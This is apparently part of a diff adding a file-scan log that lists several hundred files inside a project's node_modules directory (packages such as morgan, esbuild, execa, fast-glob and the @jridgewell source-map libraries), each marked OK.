+/scan/node_modules/statuses/codes.json: OK
+/scan/node_modules/statuses/package.json: OK
+/scan/node_modules/https-proxy-agent/LICENSE: OK
+/scan/node_modules/https-proxy-agent/dist/parse-proxy-response.d.ts.map: OK
+/scan/node_modules/https-proxy-agent/dist/index.js: OK
+/scan/node_modules/https-proxy-agent/dist/parse-proxy-response.js: OK
+/scan/node_modules/https-proxy-agent/dist/index.js.map: OK
+/scan/node_modules/https-proxy-agent/dist/parse-proxy-response.js.map: OK
+/scan/node_modules/https-proxy-agent/dist/parse-proxy-response.d.ts: OK
+/scan/node_modules/https-proxy-agent/dist/index.d.ts: OK
+/scan/node_modules/https-proxy-agent/dist/index.d.ts.map: OK
+/scan/node_modules/https-proxy-agent/README.md: OK
+/scan/node_modules/https-proxy-agent/package.json: OK
+/scan/node_modules/make-error/LICENSE: OK
+/scan/node_modules/make-error/dist/make-error.js: OK
+/scan/node_modules/make-error/index.js: OK
+/scan/node_modules/make-error/README.md: OK
+/scan/node_modules/make-error/package.json: OK
+/scan/node_modules/make-error/index.d.ts: OK
+/scan/node_modules/morgan/LICENSE: OK
+/scan/node_modules/morgan/HISTORY.md: OK
+/scan/node_modules/morgan/node_modules/ms/license.md: OK
+/scan/node_modules/morgan/node_modules/ms/index.js: OK
+/scan/node_modules/morgan/node_modules/ms/readme.md: OK
+/scan/node_modules/morgan/node_modules/ms/package.json: OK
+/scan/node_modules/morgan/node_modules/on-finished/LICENSE: OK
+/scan/node_modules/morgan/node_modules/on-finished/HISTORY.md: OK
+/scan/node_modules/morgan/node_modules/on-finished/index.js: OK
+/scan/node_modules/morgan/node_modules/on-finished/README.md: OK
+/scan/node_modules/morgan/node_modules/on-finished/package.json: OK
+/scan/node_modules/morgan/node_modules/debug/.npmignore: OK
+/scan/node_modules/morgan/node_modules/debug/LICENSE: OK
+/scan/node_modules/morgan/node_modules/debug/CHANGELOG.md: OK
+/scan/node_modules/morgan/node_modules/debug/Makefile: OK
+/scan/node_modules/morgan/node_modules/debug/.eslintrc: OK
+/scan/node_modules/morgan/node_modules/debug/README.md: OK
+/scan/node_modules/morgan/node_modules/debug/component.json: OK
+/scan/node_modules/morgan/node_modules/debug/node.js: OK
+/scan/node_modules/morgan/node_modules/debug/package.json: OK
+/scan/node_modules/morgan/node_modules/debug/karma.conf.js: OK
+/scan/node_modules/morgan/node_modules/debug/.coveralls.yml: OK
+/scan/node_modules/morgan/node_modules/debug/.travis.yml: OK
+/scan/node_modules/morgan/node_modules/debug/src/index.js: OK
+/scan/node_modules/morgan/node_modules/debug/src/node.js: OK
+/scan/node_modules/morgan/node_modules/debug/src/browser.js: OK
+/scan/node_modules/morgan/node_modules/debug/src/inspector-log.js: OK
+/scan/node_modules/morgan/node_modules/debug/src/debug.js: OK
+/scan/node_modules/morgan/index.js: OK
+/scan/node_modules/morgan/README.md: OK
+/scan/node_modules/morgan/package.json: OK
+/scan/node_modules/selderee/LICENSE: OK
+/scan/node_modules/selderee/CHANGELOG.md: OK
+/scan/node_modules/selderee/README.md: OK
+/scan/node_modules/selderee/package.json: OK
+/scan/node_modules/selderee/lib/DecisionTree.d.ts: OK
+/scan/node_modules/selderee/lib/Types.d.ts: OK
+/scan/node_modules/selderee/lib/selderee.d.ts: OK
+/scan/node_modules/selderee/lib/selderee.mjs: OK
+/scan/node_modules/selderee/lib/Picker.d.ts: OK
+/scan/node_modules/selderee/lib/selderee.cjs: OK
+/scan/node_modules/selderee/lib/Ast.d.ts: OK
+/scan/node_modules/selderee/lib/TreeifyBuilder.d.ts: OK
+/scan/node_modules/local-pkg/LICENSE: OK
+/scan/node_modules/local-pkg/dist/index.d.mts: OK
+/scan/node_modules/local-pkg/dist/index.d.cts: OK
+/scan/node_modules/local-pkg/dist/index.cjs: OK
+/scan/node_modules/local-pkg/dist/index.mjs: OK
+/scan/node_modules/local-pkg/dist/index.d.ts: OK
+/scan/node_modules/local-pkg/README.md: OK
+/scan/node_modules/local-pkg/package.json: OK
+/scan/node_modules/@fastify/busboy/LICENSE: OK
+/scan/node_modules/@fastify/busboy/README.md: OK
+/scan/node_modules/@fastify/busboy/package.json: OK
+/scan/node_modules/@fastify/busboy/lib/types/multipart.js: OK
+/scan/node_modules/@fastify/busboy/lib/types/urlencoded.js: OK
+/scan/node_modules/@fastify/busboy/lib/main.d.ts: OK
+/scan/node_modules/@fastify/busboy/lib/utils/getLimit.js: OK
+/scan/node_modules/@fastify/busboy/lib/utils/Decoder.js: OK
+/scan/node_modules/@fastify/busboy/lib/utils/basename.js: OK
+/scan/node_modules/@fastify/busboy/lib/utils/parseParams.js: OK
+/scan/node_modules/@fastify/busboy/lib/utils/decodeText.js: OK
+/scan/node_modules/@fastify/busboy/lib/main.js: OK
+/scan/node_modules/@fastify/busboy/deps/dicer/LICENSE: OK
+/scan/node_modules/@fastify/busboy/deps/dicer/lib/HeaderParser.js: OK
+/scan/node_modules/@fastify/busboy/deps/dicer/lib/PartStream.js: OK
+/scan/node_modules/@fastify/busboy/deps/dicer/lib/Dicer.js: OK
+/scan/node_modules/@fastify/busboy/deps/dicer/lib/dicer.d.ts: OK
+/scan/node_modules/@fastify/busboy/deps/streamsearch/sbmh.js: OK
+/scan/node_modules/string-width/license: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/index.js: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/LICENSE-MIT.txt: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/README.md: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/package.json: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/es2015/index.js: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/es2015/text.js: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/index.d.ts: OK
+/scan/node_modules/string-width/node_modules/emoji-regex/text.js: OK
+/scan/node_modules/string-width/index.js: OK
+/scan/node_modules/string-width/readme.md: OK
+/scan/node_modules/string-width/package.json: OK
+/scan/node_modules/string-width/index.d.ts: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/LICENSE.md: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/dist/svg-points-to-cubic-bezier.js: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/dist/svg-points-to-cubic-bezier.min.js: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/README.md: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/package.json: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/modules/index.js: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/src/index.js: OK
+/scan/node_modules/svg-arc-to-cubic-bezier/cjs/index.js: OK
+/scan/node_modules/dijkstrajs/LICENSE.md: OK
+/scan/node_modules/dijkstrajs/test/dijkstra.test.js: OK
+/scan/node_modules/dijkstrajs/dijkstra.js: OK
+/scan/node_modules/dijkstrajs/README.md: OK
+/scan/node_modules/dijkstrajs/package.json: OK
+/scan/node_modules/dijkstrajs/CONTRIBUTING.md: OK
+/scan/node_modules/dijkstrajs/.travis.yml: OK
+/scan/node_modules/esbuild/LICENSE.md: OK
+/scan/node_modules/esbuild/bin/esbuild: OK
+/scan/node_modules/esbuild/README.md: OK
+/scan/node_modules/esbuild/package.json: OK
+/scan/node_modules/esbuild/install.js: OK
+/scan/node_modules/esbuild/lib/main.d.ts: OK
+/scan/node_modules/esbuild/lib/main.js: OK
+/scan/node_modules/minipass/LICENSE.md: OK
+/scan/node_modules/minipass/dist/esm/index.js: OK
+/scan/node_modules/minipass/dist/esm/package.json: OK
+/scan/node_modules/minipass/dist/esm/index.js.map: OK
+/scan/node_modules/minipass/dist/esm/index.d.ts: OK
+/scan/node_modules/minipass/dist/esm/index.d.ts.map: OK
+/scan/node_modules/minipass/dist/commonjs/index.js: OK
+/scan/node_modules/minipass/dist/commonjs/package.json: OK
+/scan/node_modules/minipass/dist/commonjs/index.js.map: OK
+/scan/node_modules/minipass/dist/commonjs/index.d.ts: OK
+/scan/node_modules/minipass/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/minipass/README.md: OK
+/scan/node_modules/minipass/package.json: OK
+/scan/node_modules/events/.airtap.yml: OK
+/scan/node_modules/events/events.js: OK
+/scan/node_modules/events/LICENSE: OK
+/scan/node_modules/events/History.md: OK
+/scan/node_modules/events/tests/add-listeners.js: OK
+/scan/node_modules/events/tests/listeners-side-effects.js: OK
+/scan/node_modules/events/tests/check-listener-leaks.js: OK
+/scan/node_modules/events/tests/remove-listeners.js: OK
+/scan/node_modules/events/tests/listener-count.js: OK
+/scan/node_modules/events/tests/special-event-names.js: OK
+/scan/node_modules/events/tests/events-list.js: OK
+/scan/node_modules/events/tests/method-names.js: OK
+/scan/node_modules/events/tests/index.js: OK
+/scan/node_modules/events/tests/listeners.js: OK
+/scan/node_modules/events/tests/max-listeners.js: OK
+/scan/node_modules/events/tests/modify-in-emit.js: OK
+/scan/node_modules/events/tests/subclass.js: OK
+/scan/node_modules/events/tests/remove-all-listeners.js: OK
+/scan/node_modules/events/tests/legacy-compat.js: OK
+/scan/node_modules/events/tests/errors.js: OK
+/scan/node_modules/events/tests/num-args.js: OK
+/scan/node_modules/events/tests/events-once.js: OK
+/scan/node_modules/events/tests/common.js: OK
+/scan/node_modules/events/tests/prepend.js: OK
+/scan/node_modules/events/tests/symbols.js: OK
+/scan/node_modules/events/tests/once.js: OK
+/scan/node_modules/events/tests/set-max-listeners-side-effects.js: OK
+/scan/node_modules/events/Readme.md: OK
+/scan/node_modules/events/package.json: OK
+/scan/node_modules/events/.github/FUNDING.yml: OK
+/scan/node_modules/events/.travis.yml: OK
+/scan/node_modules/events/security.md: OK
+/scan/node_modules/type-detect/type-detect.js: OK
+/scan/node_modules/type-detect/LICENSE: OK
+/scan/node_modules/type-detect/index.js: OK
+/scan/node_modules/type-detect/README.md: OK
+/scan/node_modules/type-detect/package.json: OK
+/scan/node_modules/type-detect/index.ts: OK
+/scan/node_modules/type-detect/index.d.ts: OK
+/scan/node_modules/execa/license: OK
+/scan/node_modules/execa/node_modules/is-stream/license: OK
+/scan/node_modules/execa/node_modules/is-stream/index.js: OK
+/scan/node_modules/execa/node_modules/is-stream/readme.md: OK
+/scan/node_modules/execa/node_modules/is-stream/package.json: OK
+/scan/node_modules/execa/node_modules/is-stream/index.d.ts: OK
+/scan/node_modules/execa/index.js: OK
+/scan/node_modules/execa/readme.md: OK
+/scan/node_modules/execa/package.json: OK
+/scan/node_modules/execa/lib/stream.js: OK
+/scan/node_modules/execa/lib/promise.js: OK
+/scan/node_modules/execa/lib/verbose.js: OK
+/scan/node_modules/execa/lib/error.js: OK
+/scan/node_modules/execa/lib/command.js: OK
+/scan/node_modules/execa/lib/stdio.js: OK
+/scan/node_modules/execa/lib/pipe.js: OK
+/scan/node_modules/execa/lib/kill.js: OK
+/scan/node_modules/execa/index.d.ts: OK
+/scan/node_modules/yallist/yallist.js: OK
+/scan/node_modules/yallist/LICENSE: OK
+/scan/node_modules/yallist/README.md: OK
+/scan/node_modules/yallist/package.json: OK
+/scan/node_modules/yallist/iterator.js: OK
+/scan/node_modules/stackback/.npmignore: OK
+/scan/node_modules/stackback/formatstack.js: OK
+/scan/node_modules/stackback/test.js: OK
+/scan/node_modules/stackback/index.js: OK
+/scan/node_modules/stackback/README.md: OK
+/scan/node_modules/stackback/package.json: OK
+/scan/node_modules/stackback/.travis.yml: OK
+/scan/node_modules/parseurl/LICENSE: OK
+/scan/node_modules/parseurl/HISTORY.md: OK
+/scan/node_modules/parseurl/index.js: OK
+/scan/node_modules/parseurl/README.md: OK
+/scan/node_modules/parseurl/package.json: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/sourcemap-codec.d.mts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/sourcemap-codec.d.cts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/scopes.d.cts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/scopes.d.mts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/sourcemap-codec.d.cts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/strings.d.cts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/scopes.d.mts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/strings.d.cts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/vlq.d.mts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/strings.d.mts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/scopes.d.cts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/strings.d.mts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/vlq.d.cts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/sourcemap-codec.d.mts.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/vlq.d.cts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/types/vlq.d.mts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/LICENSE: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/dist/sourcemap-codec.umd.js: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/dist/sourcemap-codec.umd.js.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/dist/sourcemap-codec.mjs: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/dist/sourcemap-codec.mjs.map: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/README.md: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/package.json: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/src/sourcemap-codec.ts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/src/strings.ts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/src/vlq.ts: OK
+/scan/node_modules/@jridgewell/sourcemap-codec/src/scopes.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/resolve.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/flatten-map.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/flatten-map.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sourcemap-segment.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/trace-mapping.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/trace-mapping.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/binary-search.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/by-source.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sort.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/by-source.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/types.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/by-source.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/flatten-map.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/trace-mapping.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/strip-filename.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/resolve.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/flatten-map.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/types.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/trace-mapping.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/types.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/strip-filename.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/resolve.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/strip-filename.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sort.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/by-source.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/strip-filename.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/types.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sourcemap-segment.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/binary-search.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/binary-search.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sourcemap-segment.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/binary-search.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/resolve.d.mts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sort.d.mts: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sourcemap-segment.d.cts.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/types/sort.d.cts: OK
+/scan/node_modules/@jridgewell/trace-mapping/LICENSE: OK
+/scan/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.mjs.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.umd.js.map: OK
+/scan/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.umd.js: OK
+/scan/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.mjs: OK
+/scan/node_modules/@jridgewell/trace-mapping/README.md: OK
+/scan/node_modules/@jridgewell/trace-mapping/package.json: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/sourcemap-segment.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/strip-filename.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/flatten-map.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/types.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/by-source.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/sort.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/trace-mapping.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/binary-search.ts: OK
+/scan/node_modules/@jridgewell/trace-mapping/src/resolve.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/sourcemap-segment.d.mts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/types.d.cts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/gen-mapping.d.cts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/set-array.d.mts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/types.d.cts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/types.d.mts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/set-array.d.cts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/types.d.mts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/gen-mapping.d.mts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/set-array.d.cts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/gen-mapping.d.mts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/sourcemap-segment.d.cts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/set-array.d.mts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/gen-mapping.d.cts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/sourcemap-segment.d.mts: OK
+/scan/node_modules/@jridgewell/gen-mapping/types/sourcemap-segment.d.cts.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/LICENSE: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/types/types.d.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/types/gen-mapping.d.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/types/set-array.d.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/types/sourcemap-segment.d.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/gen-mapping.umd.js.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/gen-mapping.mjs.map: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/gen-mapping.mjs: OK
+/scan/node_modules/@jridgewell/gen-mapping/dist/gen-mapping.umd.js: OK
+/scan/node_modules/@jridgewell/gen-mapping/README.md: OK
+/scan/node_modules/@jridgewell/gen-mapping/package.json: OK
+/scan/node_modules/@jridgewell/gen-mapping/src/sourcemap-segment.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/src/gen-mapping.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/src/types.ts: OK
+/scan/node_modules/@jridgewell/gen-mapping/src/set-array.ts: OK
+/scan/node_modules/@jridgewell/resolve-uri/LICENSE: OK
+/scan/node_modules/@jridgewell/resolve-uri/dist/resolve-uri.umd.js: OK
+/scan/node_modules/@jridgewell/resolve-uri/dist/resolve-uri.umd.js.map: OK
+/scan/node_modules/@jridgewell/resolve-uri/dist/types/resolve-uri.d.ts: OK
+/scan/node_modules/@jridgewell/resolve-uri/dist/resolve-uri.mjs: OK
+/scan/node_modules/@jridgewell/resolve-uri/dist/resolve-uri.mjs.map: OK
+/scan/node_modules/@jridgewell/resolve-uri/README.md: OK
+/scan/node_modules/@jridgewell/resolve-uri/package.json: OK
+/scan/node_modules/etag/LICENSE: OK
+/scan/node_modules/etag/HISTORY.md: OK
+/scan/node_modules/etag/index.js: OK
+/scan/node_modules/etag/README.md: OK
+/scan/node_modules/etag/package.json: OK
+/scan/node_modules/cssesc/man/cssesc.1: OK
+/scan/node_modules/cssesc/cssesc.js: OK
+/scan/node_modules/cssesc/bin/cssesc: OK
+/scan/node_modules/cssesc/LICENSE-MIT.txt: OK
+/scan/node_modules/cssesc/README.md: OK
+/scan/node_modules/cssesc/package.json: OK
+/scan/node_modules/cross-fetch/LICENSE: OK
+/scan/node_modules/cross-fetch/dist/cross-fetch.js: OK
+/scan/node_modules/cross-fetch/dist/browser-polyfill.js: OK
+/scan/node_modules/cross-fetch/dist/browser-ponyfill.js: OK
+/scan/node_modules/cross-fetch/dist/cross-fetch.js.map: OK
+/scan/node_modules/cross-fetch/dist/node-ponyfill.js: OK
+/scan/node_modules/cross-fetch/dist/react-native-ponyfill.js: OK
+/scan/node_modules/cross-fetch/dist/react-native-polyfill.js: OK
+/scan/node_modules/cross-fetch/dist/node-polyfill.js: OK
+/scan/node_modules/cross-fetch/README.md: OK
+/scan/node_modules/cross-fetch/package.json: OK
+/scan/node_modules/cross-fetch/index.d.ts: OK
+/scan/node_modules/cross-fetch/polyfill/package.json: OK
+/scan/node_modules/follow-redirects/LICENSE: OK
+/scan/node_modules/follow-redirects/https.js: OK
+/scan/node_modules/follow-redirects/index.js: OK
+/scan/node_modules/follow-redirects/README.md: OK
+/scan/node_modules/follow-redirects/package.json: OK
+/scan/node_modules/follow-redirects/http.js: OK
+/scan/node_modules/follow-redirects/debug.js: OK
+/scan/node_modules/p-try/license: OK
+/scan/node_modules/p-try/index.js: OK
+/scan/node_modules/p-try/readme.md: OK
+/scan/node_modules/p-try/package.json: OK
+/scan/node_modules/p-try/index.d.ts: OK
+/scan/node_modules/component-emitter/LICENSE: OK
+/scan/node_modules/component-emitter/index.js: OK
+/scan/node_modules/component-emitter/Readme.md: OK
+/scan/node_modules/component-emitter/package.json: OK
+/scan/node_modules/camelcase/license: OK
+/scan/node_modules/camelcase/index.js: OK
+/scan/node_modules/camelcase/readme.md: OK
+/scan/node_modules/camelcase/package.json: OK
+/scan/node_modules/camelcase/index.d.ts: OK
+/scan/node_modules/isarray/.npmignore: OK
+/scan/node_modules/isarray/test.js: OK
+/scan/node_modules/isarray/Makefile: OK
+/scan/node_modules/isarray/index.js: OK
+/scan/node_modules/isarray/README.md: OK
+/scan/node_modules/isarray/component.json: OK
+/scan/node_modules/isarray/package.json: OK
+/scan/node_modules/isarray/.travis.yml: OK
+/scan/node_modules/swagger-ui-express/LICENSE: OK
+/scan/node_modules/swagger-ui-express/index.js: OK
+/scan/node_modules/swagger-ui-express/README.md: OK
+/scan/node_modules/swagger-ui-express/package.json: OK
+/scan/node_modules/concat-stream/LICENSE: OK
+/scan/node_modules/concat-stream/node_modules/string_decoder/LICENSE: OK
+/scan/node_modules/concat-stream/node_modules/string_decoder/README.md: OK
+/scan/node_modules/concat-stream/node_modules/string_decoder/package.json: OK
+/scan/node_modules/concat-stream/node_modules/string_decoder/lib/string_decoder.js: OK
+/scan/node_modules/concat-stream/node_modules/string_decoder/.travis.yml: OK
+/scan/node_modules/concat-stream/node_modules/safe-buffer/LICENSE: OK
+/scan/node_modules/concat-stream/node_modules/safe-buffer/index.js: OK
+/scan/node_modules/concat-stream/node_modules/safe-buffer/README.md: OK
+/scan/node_modules/concat-stream/node_modules/safe-buffer/package.json: OK
+/scan/node_modules/concat-stream/node_modules/safe-buffer/index.d.ts: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/readable-browser.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/LICENSE: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/writable-browser.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/GOVERNANCE.md: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/duplex-browser.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/README.md: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/passthrough.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/readable.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/package.json: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/writable.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/CONTRIBUTING.md: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/internal/streams/BufferList.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/internal/streams/stream.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/internal/streams/stream-browser.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/internal/streams/destroy.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/_stream_passthrough.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/_stream_transform.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/_stream_duplex.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/_stream_readable.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/lib/_stream_writable.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/doc/wg-meetings/2015-01-30.md: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/.travis.yml: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/transform.js: OK
+/scan/node_modules/concat-stream/node_modules/readable-stream/duplex.js: OK
+/scan/node_modules/concat-stream/index.js: OK
+/scan/node_modules/concat-stream/readme.md: OK
+/scan/node_modules/concat-stream/package.json: OK
+/scan/node_modules/micromatch/LICENSE: OK
+/scan/node_modules/micromatch/index.js: OK
+/scan/node_modules/micromatch/README.md: OK
+/scan/node_modules/micromatch/package.json: OK
+/scan/node_modules/wrappy/LICENSE: OK
+/scan/node_modules/wrappy/README.md: OK
+/scan/node_modules/wrappy/package.json: OK
+/scan/node_modules/wrappy/wrappy.js: OK
+/scan/node_modules/http-parser-js/LICENSE.md: OK
+/scan/node_modules/http-parser-js/http-parser.d.ts: OK
+/scan/node_modules/http-parser-js/README.md: OK
+/scan/node_modules/http-parser-js/http-parser.js: OK
+/scan/node_modules/http-parser-js/package.json: OK
+/scan/node_modules/http-proxy-agent/dist/agent.js.map: OK
+/scan/node_modules/http-proxy-agent/dist/index.js: OK
+/scan/node_modules/http-proxy-agent/dist/agent.d.ts: OK
+/scan/node_modules/http-proxy-agent/dist/index.js.map: OK
+/scan/node_modules/http-proxy-agent/dist/index.d.ts: OK
+/scan/node_modules/http-proxy-agent/dist/agent.js: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/promisify.d.ts: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/index.js: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/promisify.js.map: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/index.js.map: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/index.d.ts: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/dist/src/promisify.js: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/README.md: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/package.json: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/src/promisify.ts: OK
+/scan/node_modules/http-proxy-agent/node_modules/agent-base/src/index.ts: OK
+/scan/node_modules/http-proxy-agent/README.md: OK
+/scan/node_modules/http-proxy-agent/package.json: OK
+/scan/node_modules/fast-glob/LICENSE: OK
+/scan/node_modules/fast-glob/out/types/index.js: OK
+/scan/node_modules/fast-glob/out/types/index.d.ts: OK
+/scan/node_modules/fast-glob/out/settings.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/filters/entry.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/filters/error.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/filters/error.js: OK
+/scan/node_modules/fast-glob/out/providers/filters/deep.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/filters/deep.js: OK
+/scan/node_modules/fast-glob/out/providers/filters/entry.js: OK
+/scan/node_modules/fast-glob/out/providers/stream.js: OK
+/scan/node_modules/fast-glob/out/providers/sync.js: OK
+/scan/node_modules/fast-glob/out/providers/provider.js: OK
+/scan/node_modules/fast-glob/out/providers/sync.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/stream.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/async.js: OK
+/scan/node_modules/fast-glob/out/providers/transformers/entry.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/transformers/entry.js: OK
+/scan/node_modules/fast-glob/out/providers/provider.d.ts: OK
+/scan/node_modules/fast-glob/out/providers/matchers/matcher.js: OK
+/scan/node_modules/fast-glob/out/providers/matchers/partial.js: OK
